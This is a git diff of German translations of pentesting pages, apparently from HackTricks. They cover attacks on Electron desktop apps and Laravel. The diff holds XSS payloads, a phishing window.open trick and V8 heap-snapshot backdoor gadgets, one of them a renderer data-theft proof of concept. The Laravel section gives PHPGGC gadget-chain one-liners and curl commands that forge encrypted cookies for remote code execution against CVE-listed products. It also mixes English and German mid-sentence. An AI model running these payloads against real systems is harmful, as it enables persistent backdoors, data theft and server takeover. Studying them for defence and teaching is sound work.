+Weiter wird eine andere Methode zum **Lesen einer internen Datei** vorgestellt, die eine kritische lokale Datei-Lese-Schwachstelle in einer Electron desktop app hervorhebt. Dabei wird ein Script injiziert, um die Anwendung auszunutzen und Daten zu exfiltrieren:
 ```html
 <br /><br /><br /><br />
 <h1>
@@ -271,23 +271,23 @@ frames[0].document.body.innerText
 </script>
 </h1>
 ```
-## **RCE: XSS + veraltetes chromium**
+## **RCE: XSS + Old Chromium**
 
-Wenn das von der Anwendung verwendete **chromium** **veraltet** ist und es bekannte **vulnerabilities** darauf gibt, kann es möglich sein, es zu **exploitieren und RCE durch eine XSS zu erlangen**.\
-Ein Beispiel findest du in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
+Wenn die von der Anwendung verwendete **chromium** **old** ist und es dafür **known** **vulnerabilities** gibt, könnte es möglich sein, **exploit it and obtain RCE through a XSS**.\
+Du findest ein Beispiel in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
 
-## **XSS Phishing via interne URL regex-Bypass**
+## **XSS Phishing via Internal URL regex bypass**
 
-Angenommen, du hast eine XSS gefunden, aber **kannst keine RCE auslösen oder interne Dateien stehlen**, könntest du versuchen, sie zum **Stehlen von Zugangsdaten via Phishing** zu nutzen.
+Angenommen, du hast eine **XSS** gefunden, aber **cannot trigger RCE or steal internal files**, könntest du versuchen, sie zu nutzen, um **steal credentials via phishing**.
 
-Zunächst musst du wissen, was passiert, wenn versucht wird, eine neue URL zu öffnen; dafür prüfe den JS-Code im Frontend:
+Zuerst musst du wissen, was passiert, wenn du versuchst, eine neue URL zu öffnen, indem du den JS-Code im front-end überprüfst:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-Der Aufruf von **`openInternally`** entscheidet, ob der **Link** im **Desktop-Fenster** **geöffnet** wird, da er zur Plattform gehört, **oder** ob er im **Browser als Drittanbieter-Ressource** geöffnet wird.
+Der Aufruf von **`openInternally`** entscheidet, ob der **link** im **Desktop-Fenster** **geöffnet** wird, weil er zur Plattform gehört, **oder** ob er im **browser as a 3rd party resource** geöffnet wird.
 
-Falls der von der Funktion verwendete **regex** **anfällig für Bypässe** ist (zum Beispiel, indem **die Punkte von Subdomains nicht escaped werden**), könnte ein Angreifer die XSS ausnutzen, um **ein neues Fenster zu öffnen, das** in der Infrastruktur des Angreifers liegt und den Benutzer **nach Zugangsdaten fragt**:
+Falls der von der Funktion verwendete **regex** **anfällig für bypasses** ist (zum Beispiel, indem die Punkte von Subdomains **nicht escaped** werden), könnte ein Angreifer die **XSS** ausnutzen, um **ein neues Fenster zu öffnen, das** in der Infrastruktur des Angreifers liegt und den Benutzer **nach credentials fragt**:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
@@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 ```
 ## `file://` Protokoll
 
-Wie in der [Dokumentation](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) erwähnt, haben Seiten, die über **`file://`** laufen, uneingeschränkten Zugriff auf jede Datei auf deinem System. Das bedeutet, dass **XSS issues dazu genutzt werden können, beliebige Dateien** vom Rechner des Nutzers zu laden. Die Verwendung eines **custom protocol** verhindert solche Probleme, da du das Protokoll darauf beschränken kannst, nur einen bestimmten Satz von Dateien auszuliefern.
+As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **benutzerdefiniertes Protokoll** prevents issues like this as you can limit the protocol to only serving a specific set of files.
 
-## Remote module
+## Remote-Modul
 
-Das Electron Remote module erlaubt **renderer processes to access main process APIs** und erleichtert die Kommunikation innerhalb einer Electron-Anwendung. Das Aktivieren dieses Moduls bringt jedoch erhebliche Sicherheitsrisiken mit sich. Es vergrößert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie cross-site scripting (XSS) attacks.
+The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
 
 > [!TIP]
-> Obwohl das **remote** module einige APIs vom main an renderer processes exposes, ist es nicht ohne weiteres möglich, allein durch das Ausnutzen der Komponenten RCE zu erreichen. Die Komponenten können aber sensible Informationen offenlegen.
+> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
 
 > [!WARNING]
-> Viele Apps, die das remote module noch verwenden, tun dies so, dass **NodeIntegration in der renderer process aktiviert sein muss**, was ein **riesiges Sicherheitsrisiko** darstellt.
+> Viele Apps, die das **remote**-Modul noch verwenden, tun dies so, dass es **erfordert, dass NodeIntegration aktiviert ist** im renderer-Prozess, was ein **enormes Sicherheitsrisiko** darstellt.
 
-Seit Electron 14 kann das `remote`-Modul von Electron in mehreren Schritten aktiviert werden. Aus Sicherheits- und Performance-Gründen wird jedoch dringend empfohlen, es nicht zu verwenden.
+Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **empfohlen, es nicht zu verwenden**.
 
-Um es zu aktivieren, muss es zuerst im **main process** aktiviert werden:
+To enable it, it'd first needed to **im Hauptprozess aktivieren**:
 ```javascript
 const remoteMain = require('@electron/remote/main')
 remoteMain.initialize()
@@ -324,33 +324,33 @@ Dann kann der Renderer-Prozess Objekte aus dem Modul wie folgt importieren:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
-Der **[Blogpost](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** beschreibt einige interessante **Funktionen**, die vom Objekt **`app`** des remote-Moduls bereitgestellt werden:
+Der **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** beschreibt einige interessante **Funktionen**, die vom Objekt **`app`** des remote-Moduls bereitgestellt werden:
 
 - **`app.relaunch([options])`**
-- Startet die Anwendung neu, indem die aktuelle Instanz beendet und eine neue gestartet wird. Nützlich für App-Updates oder größere Zustandsänderungen.
+- **Startet neu** die Anwendung, indem die aktuelle Instanz **beendet** und eine neue **gestartet** wird. Nützlich für **App-Updates** oder erhebliche **Zustandsänderungen**.
 - **`app.setAppLogsPath([path])`**
-- Legt ein Verzeichnis für App-Logs fest oder erstellt es. Die Logs können mit **`app.getPath()`** abgerufen oder mit **`app.setPath(pathName, newPath)`** geändert werden.
+- **Definiert** oder **erstellt** ein Verzeichnis zum Speichern von **App-Logs**. Die Logs können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** **abgerufen** oder **verändert** werden.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- Registriert das aktuelle ausführbare Programm als Standardhandler für ein angegebenes Protokoll. Optional können ein benutzerdefinierter Pfad und Argumente angegeben werden.
+- **Registriert** die aktuelle ausführbare Datei als **Standard-Handler** für ein angegebenes **Protokoll**. Optional können Sie einen **benutzerdefinierten Pfad** und **Argumente** angeben.
 - **`app.setUserTasks(tasks)`**
-- Fügt Aufgaben zur Kategorie "Tasks" in der Jump List (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App gestartet wird oder welche Argumente übergeben werden.
+- **Fügt** Aufgaben zur **Tasks-Kategorie** in der **Jump List** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestartet** wird oder welche **Argumente** übergeben werden.
 - **`app.importCertificate(options, callback)`**
-- Importiert ein PKCS#12-Zertifikat in den Zertifikatspeicher des Systems (nur Linux). Ein Callback kann verwendet werden, um das Ergebnis zu verarbeiten.
+- **Importiert** ein **PKCS#12-Zertifikat** in den **Zertifikatsspeicher** des Systems (nur Linux). Ein **Callback** kann verwendet werden, um das Ergebnis zu verarbeiten.
 - **`app.moveToApplicationsFolder([options])`**
-- Verschiebt die Anwendung in den Applications-Ordner (auf macOS). Hilft, eine standardisierte Installation für Mac-Benutzer sicherzustellen.
+- **Verschiebt** die Anwendung in den **Applications-Ordner** (auf macOS). Hilft, eine **standardisierte Installation** für Mac-Benutzer sicherzustellen.
 - **`app.setJumpList(categories)`**
-- Erstellt oder entfernt eine benutzerdefinierte Jump List unter Windows. Es können Kategorien angegeben werden, um zu steuern, wie Aufgaben dem Benutzer angezeigt werden.
+- **Legt fest** oder **entfernt** eine **benutzerdefinierte Jump List** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben für den Benutzer angezeigt werden.
 - **`app.setLoginItemSettings(settings)`**
-- Konfiguriert, welche ausführbaren Dateien beim Login zusammen mit ihren Optionen gestartet werden (nur macOS und Windows).
+- **Konfiguriert**, welche **ausführbaren Dateien** beim **Anmelden** zusammen mit ihren **Optionen** gestartet werden (nur macOS und Windows).
 
 Example:
 ```javascript
 Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
 Native.app.exit()
 ```
-## systemPreferences Modul
+## systemPreferences module
 
-Die **primäre API** zum Zugriff auf die Systemeinstellungen und zum **Auslösen von Systemereignissen** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** sind alle **Teil dieses Moduls**.
+Die **primäre API** zum Zugriff auf system preferences und zum **Auslösen von system events** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** sind alle **Teil dieses Moduls**.
 
 **Beispiel:**
 ```javascript
@@ -367,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
 ```
 ### **subscribeNotification / subscribeWorkspaceNotification**
 
-* **Hört** auf **native macOS-Benachrichtigungen** mithilfe von NSDistributedNotificationCenter.
-* Vor **macOS Catalina** konnte man **alle** verteilten Benachrichtigungen abhören, indem man **nil** an CFNotificationCenterAddObserver übergab.
-* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **viele Ereignisse** abonnieren (zum Beispiel **Bildschirm sperren/entsperren**, **Volume-Mounts**, **Netzwerkaktivität** usw.), indem sie Benachrichtigungen **nach Namen** registrieren.
+* **Hört** auf **systemeigene macOS-Benachrichtigungen** mit NSDistributedNotificationCenter.
+* Vor **macOS Catalina** konnte man **alle** verteilten Benachrichtigungen **sniffen**, indem man **nil** an CFNotificationCenterAddObserver übergab.
+* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **viele Ereignisse** **abonnieren** (zum Beispiel **Bildschirmsperren/-entsperren**, **Volume-Mounts**, **Netzwerkaktivität**, etc.), indem sie Benachrichtigungen **nach Name** registrieren.
 
 ### **getUserDefault / setUserDefault**
 
-* **Interagiert** mit **NSUserDefaults**, das **Anwendungs-** oder **globale** Präferenzen auf macOS speichert.
+* **Interagiert** mit **NSUserDefaults**, das **Anwendungs-** oder **globale** Einstellungen auf macOS speichert.
 
-* **getUserDefault** kann **sensible Informationen** **abrufen**, wie **Speicherorte kürzlich geöffneter Dateien** oder **geografische Position des Benutzers**.
+* **getUserDefault** kann **sensible Informationen** abrufen, wie zum Beispiel **zuletzt verwendete Dateipfade** oder den **geografischen Standort des Benutzers**.
 
-* **setUserDefault** kann diese Präferenzen **ändern**, was potenziell die **Konfiguration** einer App beeinflussen kann.
+* **setUserDefault** kann diese Einstellungen **ändern**, was potenziell die **Konfiguration** einer App beeinflusst.
 
 * In **älteren Electron-Versionen** (vor v8.3.0) war nur die **Standard-Suite** von NSUserDefaults **zugänglich**.
 
 ## Shell.showItemInFolder
 
-Diese Funktion zeigt die angegebene Datei im Dateimanager an, wodurch die Datei **automatisch ausgeführt werden könnte**.
+Diese Funktion zeigt die angegebene Datei im Dateimanager an, der die Datei **automatisch ausführen könnte**.
 
-Für weitere Informationen siehe [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
+For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 
 ## Content Security Policy
 
-Electron-Apps sollten eine **Content Security Policy (CSP)** haben, um **XSS-Angriffe** zu **verhindern**. Die **CSP** ist ein **Sicherheitsstandard**, der dabei hilft, die **Ausführung** von **nicht vertrauenswürdigem Code** im Browser zu **verhindern**.
+Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
 
-Üblicherweise wird sie in der **`main.js`** Datei oder in der **`index.html`** Vorlage konfiguriert, mit der CSP in einem **meta-Tag**.
+It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
 
-Für weitere Informationen siehe:
+For more information check:
 
 
 {{#ref}}
@@ -403,10 +403,10 @@ pentesting-web/content-security-policy-csp-bypass/
 
 ## **Tools**
 
-- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Pattern in Electron-basierten Anwendungen zu identifizieren.
-- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source VS Code Plugin für Electron-Anwendungen, das Electronegativity nutzt.
-- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) zur Prüfung auf verwundbare Drittanbieter-Bibliotheken
-- [**Electro.ng**](https://electro.ng/): Kostenpflichtig
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool, um Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen zu identifizieren.
+- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source VS Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
+- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) um verwundbare Third-Party-Bibliotheken zu prüfen
+- [**Electro.ng**](https://electro.ng/): kostenpflichtig
 
 ## Labs
 
@@ -435,18 +435,18 @@ cd vulnerable1
 npm install
 npm start
 ```
-## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
+## Lokales backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
 
-Electron- und Chromium-basierte Apps deserialisieren beim Start ein vorgefertigtes V8-Heap-Snapshot (v8_context_snapshot.bin und optional browser_v8_context_snapshot.bin), um jede V8-Isolate (main, preload, renderer) zu initialisieren. Historisch behandelten die Integritäts-Fuses von Electron diese Snapshots nicht als ausführbaren Inhalt, sodass sie sowohl fuse-basierte Integritätsprüfungen als auch OS-Code-Signing-Checks umgingen. Infolgedessen ermöglichte das Ersetzen des Snapshots in einer vom Benutzer beschreibbaren Installation eine unauffällige, persistente Code-Ausführung innerhalb der App, ohne die signierten Binärdateien oder ASAR zu verändern.
+Electron- und Chromium-basierte Apps deserialisieren beim Start einen vorgefertigten V8 heap snapshot (v8_context_snapshot.bin, und optional browser_v8_context_snapshot.bin), um jede V8 isolate (main, preload, renderer) zu initialisieren. Historisch haben Electrons integrity fuses diese Snapshots nicht als ausführbaren Inhalt behandelt, sodass sie sowohl der fuse-basierten Integritätsprüfung als auch den OS code-signing checks entgingen. Infolgedessen ermöglichte das Ersetzen des Snapshots in einer für den Benutzer beschreibbaren Installation eine unauffällige, persistente Codeausführung innerhalb der App, ohne die signierten Binaries oder ASAR zu ändern.
 
-Key points
-- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
-- Attack preconditions: Lokales Schreiben von Dateien in das Installationsverzeichnis der App. Dies ist üblich auf Systemen, auf denen Electron-Apps oder Chromium-Browser unter für Benutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local unter Windows; /Applications mit Einschränkungen auf macOS).
-- Effect: Zuverlässige Ausführung von Angreifer-JavaScript in jeder Isolate durch Überschreiben eines häufig verwendeten builtin (ein „Gadget“), was Persistenz und das Umgehen der Code-Signing-Überprüfung ermöglicht.
-- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
+Kernpunkte
+- Integritätslücke: EnableEmbeddedAsarIntegrityValidation und OnlyLoadAppFromAsar validieren das App-JavaScript innerhalb des ASAR, deckten jedoch V8 heap snapshots nicht ab (CVE-2025-55305). Chromium prüft Snapshots ebenfalls nicht auf Integrität.
+- Angriffs-Voraussetzungen: Lokales Schreibrecht auf das Installationsverzeichnis der App. Das ist auf Systemen üblich, auf denen Electron-Apps oder Chromium-Browser unter für den Benutzer beschreibbaren Pfaden installiert sind (z. B. %AppData%\Local auf Windows; /Applications mit Einschränkungen auf macOS).
+- Wirkung: Zuverlässige Ausführung von Angreifer-JavaScript in jedem isolate durch Überschreiben eines häufig verwendeten builtin (eines “gadget”), wodurch Persistenz und die Umgehung der Code-Signing-Prüfung ermöglicht werden.
+- Betroffene Angriffsfläche: Electron-Apps (auch mit aktivierten fuses) und Chromium-basierte Browser, die Snapshots aus für den Benutzer beschreibbaren Speicherorten laden.
 
 Generating a malicious snapshot without building Chromium
-- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
+- Verwende das vorgefertigte electron/mksnapshot, um ein payload JS in einen Snapshot zu kompilieren und die v8_context_snapshot.bin der Anwendung zu überschreiben.
 
 Example minimal payload (prove execution by forcing a crash)
 ```js
@@ -462,11 +462,11 @@ Array.isArray = function () {
 throw new Error("testing isArray gadget");
 };
 ```
-Isolate-aware payload routing (verschiedenen Code in main vs. renderer ausführen)
-- Hauptprozess-Erkennung: Node-only globals wie process.pid, process.binding(), oder process.dlopen sind im Isolat des Hauptprozesses vorhanden.
-- Browser/renderer-Erkennung: Browser-only globals wie alert sind verfügbar, wenn im Dokumentkontext ausgeführt.
+Isolate-aware payload routing (verschiedenen Code im main- vs. renderer-Prozess ausführen)
+- Erkennung des main-Prozesses: Node-only globals wie process.pid, process.binding(), oder process.dlopen sind im Isolate des main-Prozesses vorhanden.
+- Browser/renderer-Erkennung: Browser-only globals wie alert stehen zur Verfügung, wenn im Dokumentkontext ausgeführt wird.
 
-Beispiel-gadget, das einmal die Node-Fähigkeiten des Hauptprozesses prüft
+Beispiel-Gadget, das einmal die Node-Fähigkeiten des main-Prozesses prüft
 ```js
 const orig = Array.isArray;
 
@@ -495,7 +495,7 @@ process.exit(0);
 return orig(...arguments);
 };
 ```
-Renderer/browser-context Datendiebstahl PoC (z. B. Slack)
+Renderer/Browser-Kontext Datendiebstahl PoC (z. B. Slack)
 ```js
 const orig = Array.isArray;
 Array.isArray = function() {
@@ -520,25 +520,25 @@ return orig(...arguments);
 };
 ```
 Operator-Workflow
-1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
+1) Schreibe payload.js, das ein gängiges builtin überschreibt (z. B. Array.isArray) und optional je Isolate verzweigt.
 2) Build the snapshot without Chromium sources:
 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) Overwrite the target application’s snapshot file(s):
-- v8_context_snapshot.bin (always used)
-- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
-4) Launch the application; the gadget executes whenever the chosen builtin is used.
+3) Überschreibe die Snapshot-Datei(en) der Zielanwendung:
+- v8_context_snapshot.bin (immer verwendet)
+- browser_v8_context_snapshot.bin (falls der LoadBrowserProcessSpecificV8Snapshot fuse verwendet wird)
+4) Starte die Anwendung; das Gadget wird ausgeführt, sobald das gewählte builtin verwendet wird.
 
 Hinweise und Überlegungen
-- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
-- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
-- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
+- Integritäts-/Signatur-Bypass: Snapshot-Dateien werden von Code-Signing-Prüfungen nicht wie native Ausführbare behandelt und waren (historisch) nicht durch Electron’s fuses oder Chromiums Integritätskontrollen abgedeckt.
+- Persistenz: Das Ersetzen des Snapshots in einer benutzerschreibbaren Installation überlebt typischerweise App-Neustarts und sieht wie eine signierte, legitime App aus.
+- Chromium-Browser: Dasselbe Manipulationskonzept gilt für Chrome/Derivate, die in benutzerschreibbaren Verzeichnissen installiert sind. Chrome hat weitere Integritätsmaßnahmen, schließt physisch-lokale Angriffe aber ausdrücklich aus seinem Bedrohungsmodell aus.
 
 Erkennung und Gegenmaßnahmen
-- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
-- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
-- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
+- Behandle Snapshots als ausführbaren Inhalt und beziehe sie in die Integritätsdurchsetzung ein (CVE-2025-55305 fix).
+- Bevorzuge Installationsorte, die nur vom Admin beschreibbar sind; erfasse Basis-Hashes und überwache die Hashes für v8_context_snapshot.bin und browser_v8_context_snapshot.bin.
+- Erkenne frühe Laufzeit-Überschreibungen von builtins und unerwartete Snapshot-Änderungen; alarmiere, wenn deserialisierte Snapshots nicht den erwarteten Werten entsprechen.
 
-## **Referenzen**
+## **References**
 
 - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
 - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

src/network-services-pentesting/pentesting-web/laravel.md

@@ -4,14 +4,14 @@
 
 ### Laravel SQLInjection
 
-Weitere Informationen dazu: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+Weitere Informationen dazu findest du hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 
 ---
 
 ## APP_KEY & Verschlüsselungs-Interna (Laravel \u003e=5.6)
 
 Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (`Illuminate\\Encryption\\Encrypter`).
-Der rohe Ciphertext, der schließlich **an den Client gesendet** wird, ist **Base64 eines JSON-Objekts** wie:
+Der rohe Ciphertext, der schließlich **an den Client gesendet wird**, ist **Base64 eines JSON-Objekts** wie:
 ```json
 {
 "iv"   : "Base64(random 16-byte IV)",
@@ -20,18 +20,18 @@ Der rohe Ciphertext, der schließlich **an den Client gesendet** wird, ist **Bas
 "tag"  : ""                 // only used for AEAD ciphers (GCM)
 }
 ```
-`encrypt($value, $serialize=true)` wird standardmäßig den Klartext mit `serialize()` serialisieren, während
-`decrypt($payload, $unserialize=true)` **automatisch `unserialize()`** auf den entschlüsselten Wert anwendet.
-Daher kann **jeder Angreifer, der das 32-Byte-Secret `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (`__wakeup`, `__destruct`, …) erlangen**.
+`encrypt($value, $serialize=true)` wendet standardmäßig `serialize()` auf den Klartext an, während
+`decrypt($payload, $unserialize=true)` **automatisch `unserialize()` auf den entschlüsselten Wert ausführt**.
+Daher **kann jeder Angreifer, der den 32-Byte-geheimen `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und dadurch RCE über Magic-Methoden (`__wakeup`, `__destruct`, …) erlangen**.
 
-Minimaler PoC (framework ≥9.x):
+Minimal PoC (framework ≥9.x):
 ```php
 use Illuminate\Support\Facades\Crypt;
 
 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 $evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 ```
-Injiziere die erzeugte Zeichenfolge in jede verwundbare `decrypt()` sink (route param, cookie, session, …).
+Injiziere die erzeugte Zeichenfolge in jede verwundbare `decrypt()`-Sink (route param, cookie, session, …).
 
 ---
 
@@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
 # Try a word-list of keys against a token (offline)
 laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
 ```
-Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und erzeugt das HMAC/Tag-Feld neu.
+Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und erzeugt das HMAC-/Tag-Feld neu.
 
 ---
 
-## Real-world vulnerable patterns
+## Reale verwundbare Muster
 
-| Project | Vulnerable sink | Gadget chain |
-|---------|-----------------|--------------|
+| Projekt | Verwundbare Stelle | Gadget chain |
+|---------|--------------------|--------------|
 | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
-| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
+| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` Cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
 | Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
 
-Der Ausnutzungsablauf ist immer:
-1. Beschaffe oder brute-force den 32-Byte `APP_KEY`.
-2. Baue eine gadget chain mit **PHPGGC** (zum Beispiel `Laravel/RCE13`, `Laravel/RCE9` oder `Laravel/RCE15`).
-3. Verschlüssele das serialisierte Gadget mit **laravel_crypto_killer.py** und dem wiederhergestellten `APP_KEY`.
-4. Liefere den Ciphertext an den verwundbaren `decrypt()`-Sink (Routenparameter, Cookie, Session …), um **RCE** auszulösen.
+Der Exploit-Workflow lautet immer:
+1. Den 32-Byte-`APP_KEY` erlangen oder per Brute‑Force ermitteln.
+2. Eine Gadget-Chain mit **PHPGGC** erstellen (z. B. `Laravel/RCE13`, `Laravel/RCE9` oder `Laravel/RCE15`).
+3. Das serialisierte Gadget mit **laravel_crypto_killer.py** und dem wiederhergestellten `APP_KEY` verschlüsseln.
+4. Den Ciphertext an die verwundbare `decrypt()`-Stelle (Route-Parameter, Cookie, Session …) liefern, um **RCE** auszulösen.
 
-Unten folgen prägnante Einzeiler, die den vollständigen Angriffsweg für jede der oben genannten realen CVEs zeigen:
+Nachfolgend sind prägnante One-Liner, die den vollständigen Angriffsweg für jede oben erwähnte reale CVE demonstrieren:
 ```bash
 # Invoice Ninja ≤5 – /route/{hash}
 php8.2 phpggc Laravel/RCE13 system id -b -f | \
@@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
 curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
 ```
-## Massenhafte APP_KEY-Erkennung via cookie brute-force
+## Massenhafte APP_KEY-Entdeckung via cookie brute-force
 
-Da jede frische Laravel-Antwort mindestens ein verschlüsseltes Cookie setzt (`XSRF-TOKEN` und normalerweise `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** die offline angegriffen werden können.
+Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes cookie (`XSRF-TOKEN` und üblicherweise `laravel_session`) setzt, **öffentliche Internet-Scanner (Shodan, Censys, …) leaken Millionen von ciphertexts**, die offline angegriffen werden können.
 
-Wesentliche Erkenntnisse der von Synacktiv veröffentlichten Forschung (2024–2025):
+Wesentliche Ergebnisse der von Synacktiv (2024–2025) veröffentlichten Untersuchung:
 * Datensatz Juli 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
 * Datensatz Mai 2025 » 625 k tokens, **3.56 % keys cracked**
-* >1 000 Server sind weiterhin verwundbar gegenüber dem Legacy CVE-2018-15133, weil Tokens direkt serialisierte Daten enthalten.
-* Starke Key-Wiederverwendung – die Top-10 APP_KEYs sind hard-coded defaults, die mit kommerziellen Laravel-Templates (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
+* >1 000 Server sind weiterhin anfällig für das Legacy-CVE-2018-15133, weil Tokens direkt serialisierte Daten enthalten.
+* Große Key-Wiederverwendung – die Top-10 APP_KEYs sind hard-coded Defaults, die mit kommerziellen Laravel-Templates geliefert werden (UltimatePOS, Invoice Ninja, XPanel, …).
 
-Das private Go-Tool **nounours** erhöht den AES-CBC/GCM bruteforce-Durchsatz auf ~1,5 Milliarden Versuche/s und reduziert das vollständige Cracking des Datensatzes auf <2 Minuten.
+Das private Go-Tool **nounours** pusht AES-CBC/GCM bruteforce-Durchsatz auf ~1.5 billion tries/s und reduziert das Knacken des gesamten Datensatzes auf <2 Minuten.
 
 
 ## CVE-2024-52301 – HTTP argv/env override → auth bypass
 
-Wenn PHP’s `register_argc_argv=On` (typisch bei vielen Distros) gesetzt ist, stellt PHP ein `argv`-Array für HTTP-Requests zur Verfügung, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese „CLI-ähnlichen“ args und berücksichtigen `--env=<value>` zur Laufzeit. Dadurch lässt sich das Framework-Environment für die aktuelle HTTP-Anfrage umschalten, indem man es einfach an jede URL anhängt:
